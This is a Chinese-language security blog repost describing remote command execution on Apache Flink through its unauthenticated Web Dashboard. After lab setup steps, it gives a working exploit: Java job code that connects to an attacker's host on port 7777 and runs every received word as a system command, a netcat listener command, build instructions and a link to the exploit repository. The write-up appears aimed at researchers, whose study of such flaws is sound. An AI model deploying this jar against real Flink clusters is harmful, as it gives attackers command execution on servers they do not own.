安全動(dòng)態(tài)

Apache Flink 上傳漏洞所導(dǎo)致的命令執(zhí)行

來源:聚銘網(wǎng)絡(luò)    發(fā)布時(shí)間:2019-11-17    瀏覽次數(shù):
 

信息來源:nosec

簡介

Flink 核心是一個(gè)流式的數(shù)據(jù)流執(zhí)行引擎,其針對(duì)數(shù)據(jù)流的分布式計(jì)算提供了數(shù)據(jù)分布、數(shù)據(jù)通信以及容錯(cuò)機(jī)制等功能。基于流執(zhí)行引擎,F(xiàn)link 提供了諸多更高抽象層的 API 以便用戶編寫分布式任務(wù):

1、DataSet API: 對(duì)靜態(tài)數(shù)據(jù)進(jìn)行批處理操作,將靜態(tài)數(shù)據(jù)抽象成分布式的數(shù)據(jù)集,用戶可以方便地使用Flink提供的各種操作符對(duì)分布式數(shù)據(jù)集進(jìn)行處理,支持Java、Scala和Python。

2、DataStream API: 對(duì)數(shù)據(jù)流進(jìn)行流處理操作,將流式的數(shù)據(jù)抽象成分布式的數(shù)據(jù)流,用戶可以方便地對(duì)分布式數(shù)據(jù)流進(jìn)行各種操作,支持Java和Scala。

3、Table API:對(duì)結(jié)構(gòu)化數(shù)據(jù)進(jìn)行查詢操作,將結(jié)構(gòu)化數(shù)據(jù)抽象成關(guān)系表,并通過類SQL的DSL對(duì)關(guān)系表進(jìn)行各種查詢操作,支持Java和Scala。

漏洞情況

本次漏洞情況是由于 Apache Flink Web Dashboard 未授權(quán)訪問,上傳惡意jar導(dǎo)致遠(yuǎn)程代碼命令執(zhí)行。

搭建環(huán)境

環(huán)境要求:JDK 8官網(wǎng)下載地址:http://flink.apache.org/downloads.html 或者通過wget進(jìn)行下載:wget https://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

然后進(jìn)行解壓:tar zxvf flink-1.9.1-bin-scala_2.11.tgz

然后啟動(dòng):

cd f flink-1.9.1-bin-scala_2.11/bin ./start-cluster.sh

最后訪問本機(jī):http://localhost:8081/ 如果可以正常訪問表示安裝成功。

漏洞利用

Flink 可以通過上傳 jar 的方式來進(jìn)行執(zhí)行任務(wù),我們可以構(gòu)造利用代碼進(jìn)行上傳執(zhí)行。

添加 Archetype

添加 Archetype:

1、GroupId:org.apache.flink

2、ArtifactId:flink-quickstart-java

3、Version:1.9.0

4、創(chuàng)建任務(wù)項(xiàng)目

基于添加的flink-quickstart-java 進(jìn)行創(chuàng)建項(xiàng)目,然后點(diǎn)擊 Next

設(shè)置項(xiàng)目GroupId以及ArtifactId,然后點(diǎn)擊 Next

配置項(xiàng)目maven,然后點(diǎn)擊 Next

設(shè)置項(xiàng)目名稱以及項(xiàng)目路徑,然后點(diǎn)擊Finish

項(xiàng)目創(chuàng)建成功:

編寫任務(wù)

創(chuàng)建 SocketTextStreamExecute 類寫入一下代碼

public static void main(String[] args) throws Exception { final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); DataStreamSource<String> stream = env.socketTextStream("ip", 7777); stream.flatMap(new LineSplitter()); env.execute("execute code"); } public static final class LineSplitter implements FlatMapFunction<String, Tuple2<String, Integer>> { @Override public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) { String[] tokens = s.toLowerCase().split("\\W+"); for (String token : tokens) { if (token.length() > 0) { try { Process p = Runtime.getRuntime().exec(token); //取得命令結(jié)果的輸出流 InputStream fis=p.getInputStream(); //用一個(gè)讀輸出流類去讀 InputStreamReader isr=new InputStreamReader(fis); //用緩沖器讀行 BufferedReader br=new BufferedReader(isr); String line=null; //直到讀完為止 while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } System.out.println("token --> "+token); } } } }

最后通過 mvn clean package -DskipTests 將代碼編譯為 jar 文件。

執(zhí)行任務(wù)

開啟NC 監(jiān)聽端口

nc -nlvp 7777

將 jar 通過web上傳到任務(wù)中心,然后將Entity Class 修改為 com.r4v3zn.SocketTextStreamExecute 點(diǎn)擊 Submit 進(jìn)行執(zhí)行任務(wù)。

執(zhí)行任務(wù)之后,我們監(jiān)聽到 NC 端口將響應(yīng)信息:

執(zhí)行命令 ifconfig 之后通過日志進(jìn)行查看執(zhí)行結(jié)果。

代碼

代碼:https://github.com/0nise/sc ripts/tree/master/flinkrce

 
 

上一篇:2019年11月17日 聚銘安全速遞

下一篇:中小企業(yè)運(yùn)維中容易被低估的日志